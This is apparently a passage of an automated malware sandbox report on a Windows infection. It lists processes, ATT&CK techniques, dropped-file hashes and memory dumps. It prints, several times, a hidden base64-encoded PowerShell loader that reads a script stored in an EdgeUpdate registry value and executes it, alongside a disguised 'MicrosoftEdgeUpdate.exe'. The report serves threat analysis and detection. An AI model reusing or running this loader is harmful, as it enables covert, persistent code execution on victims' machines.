UAfABPAHUAdAAtAE4AdQBsAGwA
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:2856
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -W Hidden -Enc JABfAGwAPQAiACQAZQBuAHYAOgBUAEUATQBQAFwAZQB1AF8AZABiAGcALgBsAG8AZwAiADsAJwBbACcAKwAkACgARwBlAHQALQBEAGEAdABlACAALQBGACAAJwBIAEgAOgBtAG0AOgBzAHMAJwApACsAJwBdACAAUwBUAEEAUgBUACcAfABPAHUAdAAtAEYAaQBsAGUAIAAkAF8AbAAgAC0AQQBwAHAAZQBuAGQAOwBmAG8AcgAoACQAaQA9ADAAOwAkAGkAIAAtAGwAdAAgADEAMgA7ACQAaQArACsAKQB7AHQAcgB5AHsAWwBOAGUAdAAuAEQAbgBzAF0AOgA6AEcAZQB0AEgAbwBzAHQARQBuAHQAcgB5ACgAJwBzAGUAcABvAGwAaQBhAC4AZAByAHAAYwAuAG8AcgBnACcAKQA7AGIAcgBlAGEAawB9AGMAYQB0AGMAaAB7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgADUAfQB9ADsAJwBbACcAKwAkACgARwBlAHQALQBEAGEAdABlACAALQBGACAAJwBIAEgAOgBtAG0AOgBzAHMAJwApACsAJwBdACAATgBFAFQAIABPAEsAJwB8AE8AdQB0AC0ARgBpAGwAZQAgACQAXwBsACAALQBBAHAAcABlAG4AZAA7AHQAcgB5AHsAJABjAD0AKABnAHAAIAAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwARQBkAGcAZQBVAHAAZABhAHQAZQAnACAAYwBmAGcAIAAtAEUAQQAgADAAKQAuAGMAZgBnADsAaQBmACgAJABjACkAewAnAFsAJwArACQAKABHAGUAdAAtAEQAYQB0AGUAIAAtAEYAIAAnAEgASAA6AG0AbQA6AHMAcwAnACkAKwAnAF0AIABjAGYAZwAgAGwAZQBuADoAIAAnACsAJABjAC4ATABlAG4AZwB0AGgAfABPAHUAdAAtAEYAaQBsAGUAIAAkAF8AbAAgAC0AQQBwAHAAZQBuAGQAOwAkAHMAPQBbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGMAKQApADsAJwBbACcAKwAkACgARwBlAHQALQBEAGEAdABlACAALQBGACAAJwBIAEgAOgBtAG0AOgBzAHMAJwApACsAJwBdACAAZABlAGMAbwBkAGUAZAAgAGwAZQBuADoAIAAnACsAJABzAC4ATABlAG4AZwB0AGgAfABPAHUAdAAtAEYAaQBsAGUAIAAkAF8AbAAgAC0AQQBwAHAAZQBuAGQAOwAuACgAWwBzAGMAcgBpAHAAdABiAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAKQApAH0AZQBsAHMAZQB7ACcAWwAnACsAJAAoAEcAZQB0AC0ARABhAHQAZQAgAC0ARgAgACcASABIADoAbQBtADoAcwBzACcAKQArACcAXQAgAE4ATwAgAGMAZgBnACEAJwB8AE8AdQB0AC0ARgBpAGwAZQAgACQAXwBsACAALQBBAHAAcABlAG4AZAB9AH0AYwBhAHQAYwBoAHsAJwBbACcAKwAkACgARwBlAHQALQBEAGEAdABlACAALQBGACAAJwBIAEgAOgBtAG0AOgBzAHMAJwApACsAJwBdACAARQBSAFIAOgAgACcAKwAkAF8AfABPAHUAdAAtAEYAaQBsAGUAIAAkAF8AbAAgAC0AQQBwAHAAZQBuAGQAfQA=
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:2196

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:2500

C:\Windows\system32\conhost.exe
conhost.exe --headless powershell.exe -NoP -W Hidden -Enc JABfAGwAPQAiACQAZQBuAHYAOgBUAEUATQBQAFwAZQB1AF8AZABiAGcALgBsAG8AZwAiADsAJwBbACcAKwAkACgARwBlAHQALQBEAGEAdABlACAALQBGACAAJwBIAEgAOgBtAG0AOgBzAHMAJwApACsAJwBdACAAUwBUAEEAUgBUACcAfABPAHUAdAAtAEYAaQBsAGUAIAAkAF8AbAAgAC0AQQBwAHAAZQBuAGQAOwBmAG8AcgAoACQAaQA9ADAAOwAkAGkAIAAtAGwAdAAgADEAMgA7ACQAaQArACsAKQB7AHQAcgB5AHsAWwBOAGUAdAAuAEQAbgBzAF0AOgA6AEcAZQB0AEgAbwBzAHQARQBuAHQAcgB5ACgAJwBzAGUAcABvAGwAaQBhAC4AZAByAHAAYwAuAG8AcgBnACcAKQA7AGIAcgBlAGEAawB9AGMAYQB0AGMAaAB7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgADUAfQB9ADsAJwBbACcAKwAkACgARwBlAHQALQBEAGEAdABlACAALQBGACAAJwBIAEgAOgBtAG0AOgBzAHMAJwApACsAJwBdACAATgBFAFQAIABPAEsAJwB8AE8AdQB0AC0ARgBpAGwAZQAgACQAXwBsACAALQBBAHAAcABlAG4AZAA7AHQAcgB5AHsAJABjAD0AKABnAHAAIAAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwARQBkAGcAZQBVAHAAZABhAHQAZQAnACAAYwBmAGcAIAAtAEUAQQAgADAAKQAuAGMAZgBnADsAaQBmACgAJABjACkAewAnAFsAJwArACQAKABHAGUAdAAtAEQAYQB0AGUAIAAtAEYAIAAnAEgASAA6AG0AbQA6AHMAcwAnACkAKwAnAF0AIABjAGYAZwAgAGwAZQBuADoAIAAnACsAJABjAC4ATABlAG4AZwB0AGgAfABPAHUAdAAtAEYAaQBsAGUAIAAkAF8AbAAgAC0AQQBwAHAAZQBuAGQAOwAkAHMAPQBbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGMAKQApADsAJwBbACcAKwAkACgARwBlAHQALQBEAGEAdABlACAALQBGACAAJwBIAEgAOgBtAG0AOgBzAHMAJwApACsAJwBdACAAZABlAGMAbwBkAGUAZAAgAGwAZQBuADoAIAAnACsAJABzAC4ATABlAG4AZwB0AGgAfABPAHUAdAAtAEYAaQBsAGUAIAAkAF8AbAAgAC0AQQBwAHAAZQBuAGQAOwAuACgAWwBzAGMAcgBpAHAAdABiAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAKQApAH0AZQBsAHMAZQB7ACcAWwAnACsAJAAoAEcAZQB0AC0ARABhAHQAZQAgAC0ARgAgACcASABIADoAbQBtADoAcwBzACcAKQArACcAXQAgAE4ATwAgAGMAZgBnACEAJwB8AE8AdQB0AC0ARgBpAGwAZQAgACQAXwBsACAALQBBAHAAcABlAG4AZAB9AH0AYwBhAHQAYwBoAHsAJwBbACcAKwAkACgARwBlAHQALQBEAGEAdABlACAALQBGACAAJwBIAEgAOgBtAG0AOgBzAHMAJwApACsAJwBdACAARQBSAFIAOgAgACcAKwAkAF8AfABPAHUAdAAtAEYAaQBsAGUAIAAkAF8AbAAgAC0AQQBwAHAAZQBuAGQAfQA=
1⤵
- Suspicious use of WriteProcessMemory
PID:5028
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Enc JABfAGwAPQAiACQAZQBuAHYAOgBUAEUATQBQAFwAZQB1AF8AZABiAGcALgBsAG8AZwAiADsAJwBbACcAKwAkACgARwBlAHQALQBEAGEAdABlACAALQBGACAAJwBIAEgAOgBtAG0AOgBzAHMAJwApACsAJwBdACAAUwBUAEEAUgBUACcAfABPAHUAdAAtAEYAaQBsAGUAIAAkAF8AbAAgAC0AQQBwAHAAZQBuAGQAOwBmAG8AcgAoACQAaQA9ADAAOwAkAGkAIAAtAGwAdAAgADEAMgA7ACQAaQArACsAKQB7AHQAcgB5AHsAWwBOAGUAdAAuAEQAbgBzAF0AOgA6AEcAZQB0AEgAbwBzAHQARQBuAHQAcgB5ACgAJwBzAGUAcABvAGwAaQBhAC4AZAByAHAAYwAuAG8AcgBnACcAKQA7AGIAcgBlAGEAawB9AGMAYQB0AGMAaAB7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgADUAfQB9ADsAJwBbACcAKwAkACgARwBlAHQALQBEAGEAdABlACAALQBGACAAJwBIAEgAOgBtAG0AOgBzAHMAJwApACsAJwBdACAATgBFAFQAIABPAEsAJwB8AE8AdQB0AC0ARgBpAGwAZQAgACQAXwBsACAALQBBAHAAcABlAG4AZAA7AHQAcgB5AHsAJABjAD0AKABnAHAAIAAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwARQBkAGcAZQBVAHAAZABhAHQAZQAnACAAYwBmAGcAIAAtAEUAQQAgADAAKQAuAGMAZgBnADsAaQBmACgAJABjACkAewAnAFsAJwArACQAKABHAGUAdAAtAEQAYQB0AGUAIAAtAEYAIAAnAEgASAA6AG0AbQA6AHMAcwAnACkAKwAnAF0AIABjAGYAZwAgAGwAZQBuADoAIAAnACsAJABjAC4ATABlAG4AZwB0AGgAfABPAHUAdAAtAEYAaQBsAGUAIAAkAF8AbAAgAC0AQQBwAHAAZQBuAGQAOwAkAHMAPQBbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGMAKQApADsAJwBbACcAKwAkACgARwBlAHQALQBEAGEAdABlACAALQBGACAAJwBIAEgAOgBtAG0AOgBzAHMAJwApACsAJwBdACAAZABlAGMAbwBkAGUAZAAgAGwAZQBuADoAIAAnACsAJABzAC4ATABlAG4AZwB0AGgAfABPAHUAdAAtAEYAaQBsAGUAIAAkAF8AbAAgAC0AQQBwAHAAZQBuAGQAOwAuACgAWwBzAGMAcgBpAHAAdABiAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAKQApAH0AZQBsAHMAZQB7ACcAWwAnACsAJAAoAEcAZQB0AC0ARABhAHQAZQAgAC0ARgAgACcASABIADoAbQBtADoAcwBzACcAKQArACcAXQAgAE4ATwAgAGMAZgBnACEAJwB8AE8AdQB0AC0ARgBpAGwAZQAgACQAXwBsACAALQBBAHAAcABlAG4AZAB9AH0AYwBhAHQAYwBoAHsAJwBbACcAKwAkACgARwBlAHQALQBEAGEAdABlACAALQBGACAAJwBIAEgAOgBtAG0AOgBzAHMAJwApACsAJwBdACAARQBSAFIAOgAgACcAKwAkAF8AfABPAHUAdAAtAEYAaQBsAGUAIAAkAF8AbAAgAC0AQQBwAHAAZQBuAGQAfQA=
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2832
- - C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
    "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    PID:4556

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Installer Packages

T1546.016

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Installer Packages

T1546.016

Defense Evasion

Modify Registry

T1112

System Binary Proxy Execution

T1218

Msiexec

T1218.007

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

e588ede.rbs

Path C:\Config.Msi\e588ede.rbs
Size 37KB
SHA256 ce3d8eb37e312e870a6a389df50bd1a0a6b073e095e2c045e0abf25df477e59c
MD5 bb829a559d34da65c492e72b0cf19e08
SHA1 f402d3a23c98f852e7df124ed8349e5ece9bc539
SHA512 7efe139ea1225f2fa2a81b08b1fae08ec8a67551b21f5f58aa0a884db04c68d9e0b8df52cc8f4fa26fc8c64e5d18d8829b57d0594bea597100295df80c9a3914
SSDEEP 768:iM1GZAricei3y0IHr7f4TOUxzqNKH3wUVqhfS0h+ERchnNGATGM3jShfS0hI:T1GZAOc5ROeqNKHASq80hSNG4x3280hI
TLSH
T142036639C630FCC0CB6C37B086662D5A32996656C7B35E68CB091CF93D62B85EF1964C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 dbd4136bc342e3e92902ec3a30d165452c82997a7ae24ac90775e42d88959e6b
MD5 fee026663fcb662152188784794028ee
SHA1 3c02a26a9cb16648fad85c6477b68ced3cb0cb45
SHA512 7b12bd5c8fc4356b9123d6586b4980cf76012663b41c0dab6f6f21567e2f4005c5bcea2cc2158d157e4f801a281f3e04bad3774cddb3122db309ccf662184bd6
TLSH
T17271ED323275B0D4C9567F072A2819D063BF4396EA94AF5CB25C621ED92751B8F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

MicrosoftEdgeUpdate.exe

Path C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
Size 13KB
SHA256 84119c17366626a6b5632ba64bd64191780b47609102d088e439ce3ce5edf27f
MD5 9c54ae6ac7e6742d817d46141e809ea1
SHA1 ee21e6e461cb79f30ad7304c6a1732553c55e180
SHA512 21030b1f2ee233421cbb7caeefccaa757048a14cb1fa086d72e05c9d2b7fa0d49f165fe45657295b37a79851a49b20430cada75bc14a06803f2927820d838c09
SSDEEP 384:JoY5z5t0oRzAFcTzJbCXeXNXynE7iBzeQyRFs:Jf5NeYAFcHunE7IzeQyR
TLSH
T1E7524B5A715A30F6E21FC67B8891A233D4F1B104338456FF9372CE68A763EF29078A50
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 4e1b68ddb4276fe15bb16e711774c3f722564699abd30dd07d4aa610fd7a635e
MD5 b0747738004ee613d7551e4de5a00b88
SHA1 a95ea3524bf6b4a5c93fe2b81df0dbfa7b6dac45
SHA512 2b4934d9e6f38c5975e666c22f1f443a9a0d9e43761c7e160d4dcceb97d6f7b4ec6c5a42fd421865339862c933d195c8ddba24cce06cda7e87eddc13584a1f87
TLSH
T133218727B3DC8821DC89123A109D9C5176B683C780DECF9F6FC0D611907FAC8CB21194
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 505dbeaa87e93fd7294e556f52c1fa7642d2d828ea929468358ee5b36a665ddf
MD5 12c1b38e1a700d64d296032a6924e1af
SHA1 d96cb2ac0503f6d0d4135a24930832e51408d7c9
SHA512 49ca3a7c1a86909d0999f105799247efea9899056fb635901e3db8808590155fbfb4896af037670fd312023d59e2172277d77ad6914da6b3892fdcd930a5b761
TLSH
T12731FF2FB79C89E9C89905B9009D9C1071F1C2DB8BDECFDF7E80D204B4AF984DA25A44
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_dqevtemp.5s2.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dqevtemp.5s2.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

eu_dbg.log

Path C:\Users\Admin\AppData\Local\Temp\eu_dbg.log
Size 226B
SHA256 77df7491e3951608c116d481aff34d3aab1530ccaa7cc55b0b1cfd5648a99479
MD5 bd4147bc4be97879e36c90d280f0e4d3
SHA1 fc50c2b76126e476f1b8810c5fcffe6069b8562e
SHA512 5376b77246d24f2ffccb5d84cb0101923fec19878b7af6a71a04eba9848b7285c889dc56a6582bf8d5ff736f9a9451f2569b7e04b4f8629b6e8174b89608b5a4
TLSH
T14ED0E93299D152AD1C3DE21796776821FE31240C2078A80D2182624F1AEF5480FA07BE
MD5 SHA1 SHA512 TLSH

Submit Download

metadata-2

Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
Size 24.1MB
SHA256 82860b4e413e5e541b1cb113e88a0be338b003922e15a3fcaf04dcc148fed5d7
MD5 a772ac2be7ccbf05bc6d6f37ef763400
SHA1 8e010417cad99ed024166247b35bedcbe3b70667
SHA512 184714b0e933229b9af18609ad54415a1cf319cee18efa54cc4b64ac13d9504c857319517528da5f2e43a21821b874985b8d2598443f965853751a89ca2738dd
SSDEEP 24576:pu8m+1zidoO/vvTLLWceJma49F0zEVsCwqmteTtlUU6tOrFhov1Fk63Rp:s
TLSH
T1BB47C22836F92200F7F79E3D68F46A274D3A7D5B9C159E8D05811B4E0921FB0E872F5A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

{f4331fae-f2f4-42db-b0f1-fe07d099c2b2}_OnDiskSnapshotProp

Path \??\Volume{cd0aa2ae-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{f4331fae-f2f4-42db-b0f1-fe07d099c2b2}_OnDiskSnapshotProp
Size 6KB
SHA256 824b2b50db58d9e8a609e18b64eaa4052dcbea409a6f79ae61b15f9ce87415e0
MD5 b0f728162fd0bde377189e263a9f5663
SHA1 42a5b61c31770c097f6c538956fdc82dee1f4ba4
SHA512 b7880a243bb0e0928da66b1ddb266b44ba11dbff05c7510803ee96a2f85a6c450bad11c12a819ce0c26b4f702669e66427b2303345cea20c6c3d750b1119ee09
SSDEEP 96:FuDPocxsnvc8DD84LTHzbOHXOHBlBRQ88Sc9XE56tOSVQpuN:QDKb++ZVmN
TLSH
T10ED188085AE54711E2B3AB3228F14557A877B911EF33CB8E0298238E6670A14F935F5F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/2832-30-0x000002D2A99D0000-0x000002D2A9EF8000-memory.dmp

Download

memory/2832-29-0x000002D2A92D0000-0x000002D2A9492000-memory.dmp

Download

memory/2856-10-0x00000260D66F0000-0x00000260D6712000-memory.dmp

Download

memory/4556-70-0x00000239DF410000-0x00000239DF41C000-memory.dmp

Download